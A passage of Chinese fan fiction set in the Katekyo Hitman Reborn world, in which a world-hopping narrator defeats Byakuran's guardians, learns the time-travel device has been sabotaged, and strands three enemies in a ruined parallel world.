石榴是人,他的恐龙身体是外力构筑而成的,自然就有其原理。 说起来你别不相信,这可是一个讲科学的世界,狱寺不是无数次地想给我证明这一点吗? 我的掌心囤积着「书」的力量,快速地模拟构架。 “砰!” 下一秒,两个相同的爪子撞在一起,激烈的火花从爪尖挖出的裂痕中冒出,输送在利爪内部的岚属性顿时被火星点燃,让我两人的手都成了纲吉专用火拳。不一样的,我和石榴显然都没有手套。 热量暴涨,茂盛的火焰遮挡着视线,我凭借直觉踹了一脚出去,逼他用手肘防御。 我看着指尖硬拔下来的红色鳞片,硬甲上海沾染着一点点肌肉,但血液的颜色可完全不如硬甲鳞片本身的鲜艳。 不论鳞片是什么科学原理、什么武器结构,它都是实实在在附着在石榴的身体上,和他本身的皮肉黏连着。 “你的技能还挺好用的。” 我把龙爪放大,马上一个回手掏,直奔他的胸口而去。 这里是要害,石榴当然有所防备。 他把手臂收回,粗壮的尾巴重重地砸了上来。 我能够感觉他放弃了防御我踹在他身上的腿,他大概也是想借此机会控制住我的身体,然后用他的尾巴狠狠抽我。 石榴的战力很直观,他的战斗方式也很直观。 所以我知道,无论什么样类型的攻击,他的第一思考方向都是迎击,而不是退避。 要接的话,这不就巧了吗? 吃我一招——蛞!蝓!冲!击! 我把身体一缩,力量压缩到一个点上,抵着石榴冲了出去。 被提升到极致的速度刺激了他的神经,火焰燃烧得更加剧烈。我们俩纠缠在一起简直就像是一颗流星,毁掉了地面上幻术构筑的隐藏防御,将整片森林付之一炬。 牢底坐穿项目现已加入豪华张三套餐。 我余光一扫,很确定等云雀返回之后,将会看到了一个千疮百孔的并盛神社。 ……希望他只是并盛中学的守护神,不是并盛的守护神。 地面上拖出了一条长长的泥坑,我踩在石榴的身上,用重力将他死死地按在地面。 但效果却有些不尽人意。 说实话,对火焰以外的模拟变得越发吃力。 也许是因为我想要暂时融入这个世界的规则之中,在祂敏感的压制下,这是必然的结果。毕竟,我想要享受这种规则带来的、对火焰研究的增益buff,自然就要承担它所带来的负面效果。 这个世界对外来力量排斥得要命。 都怪邪恶摇粒绒——我又在心里骂了一句优美的中国话。 世界意识从某种程度上说,就是人类意识的集合演化。白兰·杰索毁灭的世界太多,让所有人——从主角到路人角色——都对平行时空的认知和影响愈发警惕,所有才会让世界意识对时空外的力量排斥至此。 这也让重力的效果非常涣散,与其说是一种压制效果,不如说是一种单纯的力量堆砌。 石榴脖颈上青筋迸起,仿佛连胡茬都在用力。然后,他的爪子最先脱离了掌控。 “础!” 我凭空化出的尖枪,穿过了他坚韧的鳞片,把他钉在了地面。 刚才短暂的战斗中,我就意识到了,以彼之矛攻彼之盾是个极好的策略。小龙人的爪子规格是能在他自己身上留下伤痕的。 所以,尝试把爪子安装替代尖枪的锋利部分。 非常顺利。 蛞蝓冲击的时候,我就已经快速确认了周围的状况,安静得出乎预料。 我本来以为这么大的阵仗,至少会是来自一个小队的攻击,哪怕效果不明显,凑数做个啦啦队也可以啊。 但是,没有。 他真的就是一个人单枪匹马冲到了这里,发起了攻击。 石榴,从破防哥变小龙人变自信哥。 是真的不把主角团放在眼里。我甚至觉得,比起纲吉或是其他彭格列,他对我的出现显然更加兴奋。 我踩在他的胸口,半蹲下来,“小老弟,这么想念我啊——才分开多久,超过三十个小时了吗?你就迫不及待地要见我,怎么来的?” 超炎传送系统不是已经坏得不能再坏了吗? 石榴当然不会正经地回答我的问题,他先是发出了一点野兽般的嘶吼,然后开始放狠话、然后骂人。 好标准的无能狂怒流程。 “诶——” 我突然注意到他胸口的边缘有些发黑,像是烧焦了一样。这是他放匣武器的地方。真正的狠人,就是要敢于将武器嵌入身体,甚至让自己变成武器本身。 这么硬的红色龙甲,都被匣子灼得一圈焦黑。 我的怜悯之心在这个世界被降到了最低——别问,问就是穿了一千个世界,人有点神经。我没有过多犹豫和思考,直接将这个匣子生剜了出来。 这才是最优解。 他的龙皮是匣武器的表现形式,重力的压制效果不绝对,削弱他战力最直接的办法就是剜掉他的匣子。 当然了,指环也是关键。 不过,指环是他的火焰源——火焰源意味着焰压,也势必会激起石榴最绝望的反抗。 那就有点风险了,先拆匣子。 我专注在这个小小的正方体,那东西几乎和他的血肉融为了一体,我剜了好大一块洞才把它完全取下来——动漫里从未表现出来的是,匣子后甚至连着血管,看上去通透异常的红色线条连通心脏,甚至随着心脏的跳动而跳动。 我也算是体验了一把拆炸弹的刺激。 不一样的是,石榴大概要比炸弹更危险。 匣子离体,石榴身上的龙皮迅速脱了下去,他对重力的反抗也明显衰弱,胸口的大洞已经不再流血,高热的火焰和玛雷指环带来的强生命力,一瞬间就止住了伤口的开放性。 不要小看超能力者的血小板君啊! 当然,没有了龙甲的掩盖,他胸口附近的焦黑就显得更加清晰,这显然是长时间开匣,导致的过度灼烧。连通着心脏的那根血管也抽动着,这是在痉挛——长久运动后的痉挛。 我脑中冒出一个猜测。 “我说小老弟,三十个小时,你不会是这么飞过来的吧?” 他昂着头,眼神在狠厉决绝中,又带着明晃晃的自傲和挑衅。 绝对是了。 你是真莽夫啊,大哥。 无名小岛直飞并盛,并且马上投入战斗,你是什么咖啡因转世吗? 宰子看了直呼内行。 难怪他满下巴胡茬,我敢打赌,他绝对没有洗漱过。 难怪他的战斗速度没有我想象当中的快,原来是已经肝爆了。 我奇怪的是,他虽然莽,但怎么也是真六吊哥之一,而且可能是其中正面战力最强的那个。怎么会这么轻易被制服,怎么会真的毫无准备、毫无计划、毫无自我认知地发动一场无意义的袭击。 不可能的。 “攻击不是你的目的,至少不只是你的目的,对吧?”我推了推我的钢铁不屈眼镜,“有兴趣谈谈你的真实目的吗?” 他一点都不畏惧、也没有自己处于这种劣势的自我认知,还让我尽是使用手段拷问他。 ……感觉事情正在朝着奇怪的方向发展。 “我对白兰大人的忠诚无人能敌!” 毫不意外的忠犬发言。 这个剧场的忠犬浓度是不是多过头了,简直是在展示忠犬类型的多样性。 “是、是,你最爱他,谁能比你更爱,我真没打算和你比这个。” 我分神思考他的真实目的,仔细回忆每一个细节。 毫无疑问,小龙人的目的地是并盛,那其所针对的对象一定是彭格列、主角团。 既然他强调了自己对白花花的忠诚,所以,这个行动的重点不在他的意志,而在于白花花的命令。 佐证就是,他在看到我的那个瞬间的瞳孔地震,和格外兴奋。但那是一种进阶的兴奋,像是抽中大奖。 “中奖”是一个不可控的行为,意味着意外收获。 我只是个捎带手的元素,就像他所形容的“幸运日”。 而且我承认,虽然和邪恶摇粒绒爆发了一些冲突,我还给他友情剃头,证明了他那张脸的强度。但,尤尼酱才是白花花最想要的人,以及那些彩虹之子的奶嘴。 这个答案没有争议,她是关键。 不过,再怎么关键,让一个飞行了三十个小时的石榴,单人突击…… 这个计划也太反常识了。 白花花作为反派BOSS的真正强大之处在于“认知”,他拥有其他人所无法窥探的、来自八兆亿个平行世界的认知。 经验带给他强烈的自负,但同时,也让他可以清晰地评判主角团每一个人的强度。邪恶摇粒绒确实没有太把纲吉放在眼里——这也是热血漫反派失败的常规原因,但他也不至于真的认为石榴一个人就能解决掉一切。 更何况还是飞行三十小时版本的石榴,哪怕是肝帝都不能这么玩儿。 所以——他真正的行动关键在于……彭格列基地? 毕竟那是他最直接的行动。 不论会遭到怎样的抵抗,不论飞行消耗有多少,这个任务对真六吊花来说,应该不算难。 没有就近调动任何散兵小喽啰,意味着白花花不想打草惊蛇。如果只是攻击基地的话,不论是持续攻击还是瞬间摧毁,都没有多大区别。 不想打草惊蛇,又要毁灭基地,那不就说明,他在担心反制和防备吗? 我略一思考,得出结论,基地摧毁是为了打破彭格列基地的某种特殊的防御。也许是幻术防御、也许是火焰防御、也许是对非7^3射线的防御,但一定有一个精确的目标,一个如果被反应过来就可能会攻击失败的目标,一个需要一击即中的目标——而且这个目标恐怕不会直接是尤尼酱。 “精准制导”是小龙人的真正任务,但这个任务无疑是一步铺垫。 至于破坏了这个目标防御之后的行动我暂时无法推理,也许他已经做了什么,因为他看上去一点也不紧张、不焦虑。 他现在生命受到威胁,所以在反抗、在嘶吼,但这不是任务受阻或是被中断时的焦虑。作为忠犬,他一定会把任务置于自己的生命之上。 “咱们就不能让事情变得简单一点吗?”我抓住了他的手腕,毫不犹豫地折断了他。 我变得好粗暴。 反省一秒钟吧。 “VOI——!” 就在反省的一秒里,身后传来中气十足的叫喊,很暴躁的声音,辨识度极高,是斯库瓦罗。 那堆废墟当然不会压死他,只是在他的白长直上积累了厚厚一层灰。 他沿着我推出来的坑线追踪而来,连续几个大跳就赶上了自己的声音,落到了我面前。 加一个前缀,是轻盈地落到了我面前,像一只小精灵。 不过大概没有这样粗暴的精灵吧,身轻如燕是单纯的剑士必修课。 他手上自带的剑身散发着寒光,冲上来就想要先割了石榴的头再继续说话,我一下子就决定收回我那一秒钟的反省。 我这点小粗暴在这个世界根本你不够看。 “没必要干掉他,砍掉手取下来指环就够了吧?” 登时,他看我的眼神就像是在看妇人之仁的纲吉,“你不会真是那个小鬼的兄弟吧,纲不吉。那个门外顾问究竟在起什么狗屁名。” 既然知道是狗屁名,就不要一本正经地读出来啊! 他的语气比纲吉还要搞笑。 而且,这个名字真不是前门外顾问·纲吉之爹·我忘了叫什么名字的帅大叔,取的。 纲吉之爹风评被害。 我翻了个白眼,指挥着斯库瓦罗切手——他的刀比我的指甲锋利多了,“基地那边怎么样?这家伙飞了三十个小时绝对不是为了挑衅的,白兰让他破坏基地一定另有目的。” 说完这句话,斯库瓦罗的脸色变得很急,原本就很有沟壑的眉目更是用力地皱在一起。 “是已经发生了什么,对不对。”我没有用疑问语气,敏锐地意识到,他耳麦对面已经有了判断。 斯库瓦罗很少会示弱,也从来不会认输,不过他此刻的眼神中,充斥着难以言喻的焦虑——不论发生了什么,绝对是可以撼动整个剧情的大事。 我的心吊了起来。 “传送系统被未知力量干扰了。” 我下意识地以为是超炎传送系统,正想说还干扰什么,不是早就被破坏了吗?大脑却比我腹诽更快地反应过来这句话真正的含义。 我瞳孔地震。 他说的,不会是,那个传送系统吧? “那些小鬼被困住了——也许是十年前,也许——” 十年炮筒改造的传送系统。 “——也许是时间中点,过去十年的某一个任意点。”我咽了口唾沫,艰难地接上了他的话。 如果只是十年前还好说,如果是时间中的某个点…… 墨菲啊墨菲,你的定律真的要这么准吗? 我只是稍微提了一次时间悖论,现在就马上给了我回应。 我真的这么乌鸦嘴吗? 那么一大票人,如果在时间中的某个点撞上了其他的自己,就会压缩现在的时间线。纵向的时间轴缩短,就有可能会造成多次折叠。建立在这些时间轴上的平行空间,会因为纵向的不稳定,而失去“平行”性质,进而坍塌、甚至重叠。 换而言之,一旦出现多个悖论,现在的这个世界,就有可能会和其他平行世界,产生不应该存在的交点。 简称,时空撞击。 就像我的穿越司所遇到的那种事。 兜兜转转,我竟然又回到了原始问题? 我要是知道怎么处理,我现在还会在这个世界吗! 可恶的邪恶摇粒绒,真是会给我出难题。 第113章 我从斯库瓦罗的言语中拼凑出了真相。 彭格列指环代表着纵向时间轴, 这些拥有彭格列指环的主角团又是从十年之前穿越到了现在——这些对白花花来说都不是秘密。 他知道一切。 用这种穿越系统的漏洞来对敌,从逻辑上来讲,本没有什么大问题。 但问题就在于, 白花花不应该遵守这个逻辑。 他怎么会知道主角团会在这个时候穿越回过去, 小龙人在攻击前又是如何判断的? 更重要的是,白花花原本就不害怕和主角团正面敌对,这样侧面挖坑, 把人都困在过去,反倒是让他想要的彭格列指环和彩虹之子的奶嘴,以及最最最重要的尤尼酱,更难得手了。 这不是搬起石头砸自己的脚吗? 我想不通。 小龙人已经失去了意识, 显然没有了玛雷指环的支持, 连轴转的爆肝,再加上战斗疲惫和身体外伤击垮了他。 即使他清醒,我也不认为能从他嘴撬出来什么东西。 忠犬是这样的,而且白花花未必会告诉小龙人自己的真实目的。 我问,“白兰的突袭目的已经达成, 接下来无论如何都不再需要隐秘行动, 后续的攻击估计很快就会来,现在基地有多少战力?” 斯库瓦罗比我更懂这个道理, 他咬牙切齿地“问候”了一番自己的老大以及那一群坑爹队友——尤其是一个据说去“找女人”了的臭小鬼。 在小龙人的攻击袭来之前, 斯库瓦罗应该正在和自己的队友们通讯——独立暗杀部队瓦利亚,他们带领着彭格列主力部队, 几乎完全牵制住了密鲁菲奥雷在意大利本部的所有势力。 他们很强, 这也意味着他们责任很重, 想要马上把他们调过来, 几乎是不可能的事。 而并盛的彭格列本部, 根本就没有多少可用的战力。 正一、斯帕纳、强尼二都是科研人员。其中,正一还可以兼任指挥官,斯帕纳有一些莫斯卡机械可以操作,强尼二也能调动一些彭格列地下基地的布放,但这依然不能算作是战力。 至于风太、碧洋琪之类就更别提了,他们的后勤属性更强,几乎不具有充足的正面作战能力。 细数下来,除了我和斯库瓦罗,似乎就只剩下一个迪诺,和一些加百罗涅家族的成员势力,以及被退会了的草壁副委员长先生。 或许尚未恢复的拉尔·米尔奇或许勉强也能算? 太少了。 没有主角团buff,就凭这么点人就想和白花花家族对抗——我看这是在为难我胖虎。 甚至都不需要真六吊花亲往,人海战术都能把现在的彭格列基地淹没。 “基地已经不安全了,得赶紧转移。”我从斯库瓦罗手里接过一个耳麦,用来和基地内部通讯。 “不行!” 正一的声音传来,他猛咳了两声,有些中气不足地开口,“不能让穿越装置落入白兰先生的手里。那不仅仅是十年前纲吉君他们穿越回来的重要装置,也是存放着十年后大家身体的地方!” 啊,正一的话提醒了我,让我想到了一种可能。 白花花确实不担心正面战斗,他最烦的应该是主角团和他玩“游击战”。化整为零什么的,不正是先前意大利战场瓦利亚的战略吗? 但如果他掌握了这个穿越系统——那个难以转移的、巨大的白色装置——就等于掌握了彭格列的命脉,他甚至有机会可以强行召唤其他时间的彭格列十代家族。毕竟穿越的人不是重点,他也并不是非要杀死纲吉不可,穿越的彭格列指环才最重要。 “啧!”斯库瓦罗烦躁地咋舌。 战的胜算极低,但跑却也不能跑,简直是被逼上了绝路。 我看了看自己的掌心,“既然撤离不在考虑内,那就只能面对。正一君,你们能不能搞清楚穿越系统出问题的原因?” “大概某种7^3的干扰,现在还没有办法断言——” 不等正一说完,斯库瓦罗就直接打断了他,“我现在不想知道原理,只想知道你们能不能修好它,能或者不能。” 他的语气好严厉,像是只要正一说一句“不能”,他就能上冲过去把这个装置破坏掉一样。 “……可以。” 即使不行也得行,即使再难也能硬着头皮上,正一很清楚这一点,他咬牙道,“但是需要时间。” “战斗的事不用你们考虑,”我斩钉截铁,“你们剩下的所有人,包括伤员,全部撤到穿越装置附近,尽量缩小需要保护的范围。” 分散藏匿在此时显得格外没有必要,毕竟白花花不会为这些散兵游勇花费太多精力,他的目标很清晰就在穿越装置上。 如果人员再分散,战斗起来就更难看顾了。 不如从最一开始就只守一个关隘。 “不,不行。”比正一还要虚弱的声音在此时插入,应该是刚刚苏醒没多久的拉尔·米尔奇,“如果完全到了两点对垒的地步,我们绝对不可能是密鲁菲奥雷的对手,必须要分散白兰的注意。” “可是这已经不可能了,白兰想要的一切都在装置的另一边——彭格列指环、彩虹之子的奶嘴,还有尤尼。” 我想不出还有什么能吸引白兰的注意。 “可事实上,白兰不知道这一点,不是吗?”拉尔·米尔奇那边发出一阵窸窸窣窣的声音,大概是她在佩戴自己的装备,“他只能猜到沢田他们十代家族成员的动向,但除了Reborn,尤尼和彩虹之子的奶嘴都是属于现在这个时代的东西。” 她这么一说,我才意识到自己犯了教条主义错误,下意识地把穿越回去的所有人当成了一个整体。完全忽略了尤尼酱和彩虹之子的奶嘴的穿越很容易被看作,是和我一样超出了十年炮筒原理、所以无法穿越的例子。 对——这样才说得通。 白花花对尤尼酱的渴望超过了彭格列指环,选择战场上他就展示了自己的急迫。 而尤尼酱在他的面前,把自己的生命托付给了纲吉和彭格列家族。 所以顺理成章,隔绝十代目家族,就成了最好的让尤尼酱绝望的方式。 即使纲吉他们没有穿越,这个不知原理的干扰系统,也可能会强行催动穿越装置,让他们暂时消失在这个时代。 “这么说,白兰岂不是很快就会赶来?”强尼二问。 “或者至少是其他的真六吊花。”斯帕纳接话。 “所以,我们要利用这个时间空档。”拉尔深吸了一口气,“我身上也有彩虹之子的诅咒,我可以伪造彩虹之子的波动。白兰想要寻找尤尼,就只能依靠7^3的波动来寻找。尤尼和其他的彩虹之子都不在这个时代,他只能侦测到我。” 换而言之,只要她开始行动,尤其是快速转移。白花花很有可能掉转枪头,在彭格列的时间装置和尤尼酱之间,选择后者。 或者至少分出超过半数的战力去追踪后者。 不论是哪一种,都会直接减小并盛对敌的压力。 但,这也同时意味着…… “你会死的。”斯库瓦罗毫不客气地点了出来,“一旦白兰或是真六吊花追上你,发现你不是尤尼,他们会毫不犹豫地杀了你。” 甚至不会是抓走拉尔,而是会直接解决掉她。 “我早就等着这一天来了。”拉尔的声音有点酸涩,但我能听出来,这就是她的觉悟。 每个人都有觉悟,除了我。 可恶,明明我才是主角! “我们绝不能分散战力!”拉尔在任何人出言要和她通行之前开口,“我不需要人保护,一个人的移动才更方便。万一密鲁菲奥雷仍然分神来进攻这里,装置前必须要有足够的战力应对。” 她已经做好了赴死的准备,打算用自己的一条命来争取更多的时间。 通讯内顿时一阵静默。 大家心里都很清楚拉尔这样决定的结局,单枪匹马从真六吊花和白花花手下生存的几率低到可以忽略不计;可这似乎已经是目前唯一可行的计划。 那现在所说的每一句都是告别。 但,这真的是唯一的办法吗? 我的大脑也在运作,跳开现状本身的逻辑,从另一个角度来考虑的话…… “各位,为什么非要等着白兰的行动呢?主动出击、反守为攻不是更会出乎白兰的预料吗?” “太胡来了!主动出击是打算去送死吗!”拉尔厉声呵斥。 她完全没有看到过我的战斗姿态呢,怀疑是很正常的。 但旁边的斯库瓦罗就不一样了,比起静候敌袭,我的计划显然更合他的口味。 “你不也是去送死的吗?”拉尔可没有资格呵斥我这一点,“而且说实话,我还是挺有信心的。” 我可以直奔白花花而去,而且我有信心牵制住他们。 “嘶——”听到这个声音,我都能想到正一紧按着自己的胃、放长呼吸来缓解自己“紧张痛”的模样,“为什么我们基地都是些喜欢乱来的家伙啊……” “严正声明,我可没有乱来,”我的手按在耳麦上,脑中快速闪过几个真六吊花的技能,一个计划逐渐成型,“而且,我又不是莽夫——我没打算单枪匹马地干,有兴趣听听我的计划吗?” 比如把真六吊花丢到其他平行世界之类的计划。 第114章 对于白兰来说, 这个世界的生死,或许就像是一场真实而巨大的RPG游戏,而他就是那个手拿八兆亿攻略的开挂玩家。 拿着这么多攻略, 依然想要寻找新鲜感。甚至越是开挂, 就越是专注。 但攻略多到这种程度,想找到新鲜感,只怕也没有那么容易吧? 找不到新鲜感就要毁灭世界, 邪恶摇粒绒就像是个大号熊孩子,纲吉来几发人格修正拳他就老实了。 和白花花本人相比,他手下的真六吊花就靠谱多了,执行任务毫不含糊, 只在日夜飞行的小龙人之后, 其他几个活着的守护者便都集结到了并盛附近。 反倒是白花花本人并不在此。 奇怪,我还以为以他对尤尼酱的重视程度,一定会亲自来的。 亏我还准备了一揽子应对计划。 多余,太多余了。 不过,这倒也不算纯纯意料之外, 按照家教王对王、将对将的基本定律。在纲吉出现之前, 白花花应该处于绝对静止领域。 嗯! 我确信! 看着真六吊花由远及近地冲向了我,我赶紧调整姿势, 靠在树上抱着臂站好, 腰挺直、肩下沉,眼睛稍微眯一点, 下巴抬高——总而言之, 摆好架子。 我在这里等了一个多小时, 他们要是再不来, 我的腿就要蹲麻了。 来人不出所料, 正是非主流哥、萝莉妹,还有肾虚弟——也就是桔梗、铃兰和雏菊,要不怎么说白兰的家族是花花家族呢,从上到下,大家都有花名。 真·花名。 这些大概不是他们的真名,不过既然都跟了白花花,大概也都舍弃了自己原本的名字吧。 “啊——怎么是你,尤尼的那个不知好歹的小丫头片子呢!” 铃兰一看到我,就马上不满地鼓起了脸。 “小丫头片子”这个称呼,从她口中说出来真是无比奇怪——难道她自己不也是个小丫头片子吗? 她真的比尤尼酱大吗? 不,完全看不出来,她完全没有尤尼酱成熟。 桔梗谨慎地观察四周,似乎是在寻找排查四周环境,大概是在找他们追踪的力量源吧? “你们是在找这个?” 我右手从口袋里掏出一个灰色的奶嘴,在他们面前晃了晃。拉尔友情提供——她的计划很不错,控制敌人的朝向非常重要,但计划还是我来做实施更加保险。 说服她可真不容易,我不得不动用了一点特殊手段。 话说在前头,短效镇静剂是正一提供的,动手的是风太。拉尔的身体原本就没有恢复好,换做是她,根本就跑不远。 当然,换了是我,也就没必要跑得太远了。 我同时用左手,在另一个口袋里掏出了石榴嵌在身体里的匣兵器,“还是在找这个。” 事实上,如果是玛雷指环大概会更有冲击性,但正一需要那枚指环来做点迷惑性防御,我就只能拿个匣兵器来壮壮声势了。 “难怪这里如此安静,原来如此,是石榴被你们打败了吗。”桔梗的惊讶只有一瞬间,“看来长途消耗即使是对我们来说也是个大问题。” 言语间,竟然完全没有同伴爱。 每日一问,你们反派家族是完全没有家族感情吗? 这东西可是嵌在胸口的,上面还有血渍和鳞片,你们一点都不打算关心一下你们的好兄弟小龙人吗? 我连说辞都准备好了。 比如“要不要我把是你们送到和他一样的地方”、“我和你们不一样,我可从不弑杀”,或者“区区一个匣兵器,压制真六吊花难道是什么困难的事吗”这种。 结果,并没有人问,无人在意石榴的死活。 不,感觉他们已经默认了石榴的死亡,但却依然在冷嘲热讽。 “啊——那个大个子,平时声音不小,关键时刻竟然就这么容易被打败了,菜鸡!”铃兰甚至幸灾乐祸。 咱们就说有没有一种可能,不是他弱,而是我太强了呢? “自己死就死了,竟然还丢了修罗匣子,这可是白兰专门送给我们的礼物!”铃兰重重地跺脚,“玛雷指环不会也被人家拿走了吧,真可恶!” “没必要这样说,蓝铃。至少把彭格列都杀光了,自然就能把指环到拿到手,不论是彭格列指环,还是石榴的指环。而且,石榴已经很好地完成了自己的任务,”桔梗用一种看穿人心的视线盯着我,“现在出现在这里的他就是证据,恐怕彭格列的总部现在已经完全是瘫痪状态了,否则他何必用这种手段把我们引过来呢?” 你很懂哦,桔梗君。 我耸了耸肩,倒是没有否认。 “但,就算把我们吸引过来,我们手下也有至少四个小队快要到达并盛了。”雏菊紧紧地抱着怀中焦黑的晴天娃娃,“彭格列现在的人,根本不可能拦住他们的吧。” 别太小瞧人了啊,打不过,难道还跑不了吗? 没有你们真六吊花的力量级别,普通小喽啰难道能强行突破基地的各类防御吗?不可能的,他们必须要从石榴打开的突破口进入。 但没有7^3级别的感知和真六吊花的指挥,难道他们能摸清楚地下基地那迷宫般的路线吗? 送人头。 我在心里骂了一句笨蛋。 “所以才说啊,你们都是一群笨蛋!”铃兰冲着我吐舌头,显然和雏菊有相同的观点。 她往前一步,把雏菊和桔梗都挤到了身后。从某种意义上来说,她真是比石榴还好斗,手指上的玛雷指环亮起蓝色的火焰,“你们两个不许和我抢,蓝铃我要亲手杀了这个对白兰漂亮脸蛋下手的人!” 真六吊花中,唯一一个不称呼白兰为“白兰大人”,而是直呼其名的守护者,和白花花最为亲近…… 等等,她自称蓝铃? 说好的铃兰呢,正一写的档案里,写错了名字。还是说,铃兰是代号,蓝铃是名字? 等等,我有点乱。 她是为了配合白花花的花花家族专门起了一个代号? 她好爱白花花。 “随你喜欢。”桔梗并不在乎这件事,完全不把我当人,“但注意 ,白兰大人想要活口,下手有些分寸,打个半死就行了。” ……? 帮我回忆一下,我确实是当着他们的面给了白花花一巴掌吧,他们为什么还不把我放在眼里? 我不理解。 “哼!要你说!”铃兰——或者是蓝铃,旁若无人地傲娇,“他就交给我了,你和雏菊赶紧滚。” 果然,在所有的真六吊花心里,白花花的任务最重要。 他们还记挂着尤尼酱和彭格列基地呢。 “我说,你们是不是有点太不把我放在眼里了?”我终于忍不住出声,“我有同意让你们离开吗?” 蓝铃不满地看向我,“打扰别人说话的家伙最没品了!” “同感。” 我接了一句。 毕竟,打乱了我循序渐进放狠话节奏的人,也最没品了。 我打了个响指。 地面上,顿时亮起一道纯白的射线,将地面三人和我一起,全部包围起来。桔梗和雏菊手上的玛雷指环也迅速冒出了火焰,随时准备开匣,这是遇到未知的本能反应。 但我要的就是这个反应,我需要玛雷指环的火焰才能推进下一步,“而且提醒一句,反派死于话多,下次见面,最好直接动手……啊,如果你们还有下次的话。” 我微微一笑。 真六吊花三人已经做出了足够快的应激反应,本能地想要脱离白色光线的包围,但我的读条已经结束了——不要小瞧我几千次穿越的流畅度啊! 激烈的白光在空中闪烁,被圆圈包围的整片区域——包括人、草、土,甚至是空气都消失在这个世界,被我完整切割到了世界之外。 顺便一提,我挑选的是废墟世界。 只有这种确认,真六吊花已死的世界中,才能保证不会出现两个同位体出现在同一个世界的情况——平行悖论和时间悖论一样危险。 我可不会犯这种低级错误。 “痛——” 蓝铃的声音率先传来,她应该是在穿越的过程中撞到脑壳了,原本柔顺的蓝色长发乱成一团,发缝里塞满了泥灰和草叶。 看吧,穿越其实并不是一件简单的事,尤其是像我这样,在穿越的过程中还能时刻保持自己的姿态,连衣角都没有一点凌乱的就更难了。 他们的初次穿越,就像是被简单粗暴地丢进滚筒洗衣机里似的,想象一下,在洗衣机里加入泥土和草木可不是什么好的选项。 但没办法,只是单纯过滤他们三个人有些困难。绝不是我故意给他们找麻烦,看我一本正经的脸,绝对不是。 “这里是哪?!”雏菊有些惊慌地站起来,他的衣服有些狼狈,但身上却连一个被粗暴穿越带出来的小伤口都没有,唯独手中的晴天娃娃似乎被搅碎了,和这个焦黑的大地融为了一体。 桔梗前所未有的紧张,他耳朵上戴着的耳麦已经失去了作用,这意味着他完全脱离了信号可以到达的区域。 但以密鲁菲奥雷的势力,地球上几乎没有无信号覆盖的地方。 “外星?”他小声嘟囔着猜测。 我是外星人,这不就对上了吗! “竟然敢对蓝铃漂亮的脸下这样的狠手,真是不可饶恕!” 蓝铃的眼神狠厉起来,“我要把你的手脚都砍断,让你把知道的东西都吐出来!哼,以为外星就能阻挡真六吊花的脚步了吗?白兰总有一天会把宇宙都征服到脚下的!” 事实上,他已经尝试做过了,做过无数次了。 7^3的作用就是他征服更广阔世界的垫脚石,但很显然,他失败了。 “真是的,这里是什么地方,你们玛雷指环的拥有者,本来应该是最清楚的啊。”我冲着他们挑眉,四周的废墟中,隐约还能看出一些城市的轮廓,像是刚刚被炸毁不久,墙壁、地面上,甚至还隐约留存着一些硝烟的味道,“看看这些痕迹,难道不眼熟吗?” 虽然动漫中很少表现出来,但一般的武器和火焰带来的痕迹有极大的区别,甚至连不同的人使用的火焰,都有不同的痕迹。 就像是弹道可以检测,火焰也有专门的检验技术,而正巧,密鲁菲奥雷检测火焰痕迹的部门,就在桔梗手下。 他对这个技术再熟悉不过,细细一看,马上就意识到这些痕迹熟悉极了,尤其是他自己脚下这块,“这是……我的攻击痕迹。” 他紧接着再看向旁边,蓝铃和雏菊身边,都分别还拥有着各自对应的战斗痕迹。 想要穿越,总需要一点锚点的。 “平行世界。”桔梗不愧是真六吊花中的老大哥,他最先提取出了我言语中的关键词。 我可是专门提到了玛雷指环拥有者。 “欢迎来到你们创造并喜爱的新世界。” 都是平行世界的你们的杰作。 “不可能!”蓝铃瞪大了眼睛,“这是白兰特有的能力——” “事实上,这是玛雷指环的能力。理论上来讲,是每个玛雷指环适格者拥有的资格。”就像彭格列所代表的纵向时间轴可以表现在每一个彭格列指环拥有者身上一样,“只不过,白兰将这种能力都集中在自己身上了而已。” 七个玛雷指环的平行能力全部集中在一个人身上,所以白花花才能如此轻易地获得其他平行宇宙的攻略。 但,白花花可以把力量集中起来,却不能抹消掉其他玛雷指环拥有的潜力。 当玛雷指环亮起火焰的时候,实际上就触发了其连通其他平行时空的契机。 我只要稍微一引导,自然就能和他们一起,做到连白花花都很难单独完成的平行时空穿越。 换而言之,他们三人本来就拥有连通平行时空的潜力,而非是我拥有携带任何人穿越的能力。 要是我真的能做到随意带人穿越,那我就直接带着宰上班,或者至少现在把彭格列基地的人安排到其他时空,那岂不是更安全? 事实是,我做不到,至少无法轻易做到。 “你不会是想说你也是玛雷指环的拥有者吧?”桔梗没有在我手上看到任何戒指,甚至没有常戴戒指的痕迹。 “怎么会。”我的手一用力,捏碎了石榴的匣兵器盒子,拉尔的奶嘴并没有被我带到这个时空。 在一个不稳定的能力环境里,随身携带7^3的其他两角显然不是什么明智之举,我丢在主世界里了,“我就是单纯的天赋异禀,可以随意穿越其他世界,试问白兰他做得到吗!” 我顺势张开双手。 “还和他废什么话!”蓝铃拉开衣服——罪过罪过,她的外袍下一片真空,只有胸口处嵌着和石榴一样的匣子。她终于厌倦了我的不着边际,直接把自己的指环怼了上去,“修罗开匣!” 顷刻间,大量的雨之火焰将她全身包裹,腰下的两条腿融合在一起,化成了一条有力的蓝色鱼尾,肩膀上也冒出和头发重叠在一起的长鱼鳞,外套顺势被烧成了灰烬,播撒在地面的废墟上,“先给他一个搞乱蓝铃头发的教训!” 不由分说,连桔梗都来不及阻拦,她就直勾勾地就冲了上来。 速度很快,但没有石榴快,火焰比肉眼可见的范围更广,甚至在尝试从废墟之下偷偷包围过来——原来刚才的衣服灰烬是用来掩饰火焰路径的啊。 看来她完全没有看上去那么冲动,只是用声音和性格来掩饰自己真正的战斗意图。 但是,我连躲避的意图都没有。 不如说,她这样井喷式的力量使用才最棒了! 蓝铃怒气值满!蓝铃修罗开匣!蓝铃发起进攻!蓝铃再起不能! 恭喜我不战而胜。 她冲到一半,身上的力量骤然消失,整个人一个失重,差点脸朝下摔在地上。 还是桔梗反应快,精准地接住了她,并且给她重新包了一层外套。 不然都过不了审。 紧接着,桔梗看我的眼神明显变了,大概是觉得,我这样连手指都不动就能轻易把铃兰搞成这样,已经超越了普通意义上的“强”,完全是碾压级别了吧。 但——其实和我没有关系。 是世界意识来的。 再强调一次,这次的世界意识对“穿越”二字非常敏感。 不仅仅是世界之外的穿越,平行世界之间的穿越也是如此——甚至,这种敏锐,最初就是因为白花花那无节制的搞事。 可以说是自食其果了。 玛雷指环是世界意识防备的重中之重。 